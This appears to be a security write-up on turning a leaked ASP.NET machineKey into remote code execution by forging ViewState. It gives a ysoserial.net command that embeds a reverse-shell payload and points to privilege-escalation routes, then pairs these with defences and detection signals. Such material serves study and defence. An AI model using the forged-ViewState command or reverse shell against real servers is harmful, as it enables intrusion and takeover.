
A leaked machineKey turns ASP.NET ViewState into RCE
ASP.NET ViewState is a serialized blob round-tripped through the client, protected from tampering by a secret machineKey in web.config. The protection is the secret. If you can read web.config and it contains a static machineKey, ViewState stops being tamper-proof: you forge your own, the server deserializes it, and your code runs as the IIS worker process.
The find
An ASP.NET / IIS app (.aspx pages, a hidden __VIEWSTATE field, Server: Microsoft-IIS) plus any way to read web.config: a download or export feature with path traversal, an LFI, a leaked backup. If that file contains a <machineKey> with validationKey, decryptionKey, and the validation and decryption algorithms, you have everything you need.
Forge the ViewState
A deserialization gadget chain is a sequence of classes already present in the target's own libraries whose side effects during deserialization, strung together, end in running a command. You are not injecting code, only data that steers code that is already there. ysoserial.net builds that data: its ViewState plugin signs and encrypts a gadget chain with the leaked keys so the server accepts and deserializes it:
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "powershell -e <b64 revshell>" \
--generator="<__VIEWSTATEGENERATOR from the page HTML>" \
--validationkey="<validationKey>" --validationalg="SHA1" \
--decryptionkey="<decryptionKey>" --decryptionalg="AES"
# POST the blob as __VIEWSTATE (URL-encoded) to any .aspx page; the command runs as the app pool.
Details that decide whether it fires: __VIEWSTATEGENERATOR must match the target page (grab it from the HTML; a wrong value makes the server reject the ViewState before deserializing, and a page with generator 00000000 means omit it). If enableViewStateMac is off or the page has no ViewState MAC, you may only need the decryption key, but the standard case is both keys present.
Where it lands and where it goes
You execute as the IIS app pool identity (iis apppool\<site> or a service account). That account almost always holds SeImpersonate, which is a short hop to SYSTEM through the Potato family, or a pivot to stored credentials on the box. The token-privilege escalation is covered in Windows local privilege escalation and the related SeTcbPrivilege to SYSTEM.
Defense
Two failures line up here: a secret that should be per-server was static and shipped, and a file that should never be reachable was readable.
- Never ship a static
machineKey. Let ASP.NET auto-generate a per-machine key, or setIsolateAppsso each app gets its own, and keep it out of source control. A machineKey shared across a farm or committed to a repo is a forge-anywhere key. - Rotate immediately on exposure. A leaked machineKey is a credential; a disclosed one is burned and must be regenerated everywhere it was used.
- Fix the disclosure primitive. The LFI, path traversal, or exposed backup that let
web.configbe read is the actual bug; canonicalize and bound file access and remove stray backups. - Keep ViewState MAC on and the app pool least-privileged. Modern algorithms (HMACSHA256, AES) and a stripped app-pool identity without
SeImpersonatewhere possible blunt both the forgery and the escalation that follows it.
Detection
A w3wp.exe (IIS worker) spawning powershell, cmd, or csc is the clearest signal, since a healthy app pool rarely launches a shell. ViewState MAC validation failures in the event log, an unusually large __VIEWSTATE POST, and requests to .aspx pages carrying ViewState from clients that never loaded the page first are supporting indicators. Alert on the worker-to-shell parent/child and on a spike in ViewState validation errors.
Use
Authorized and educational use only: your own systems, a lab you control, or an engagement with written permission. This describes a documented deserialization chain with the gadget tool named, not carried, and pairs it with the fix so the leaked-secret and the file-disclosure both get closed.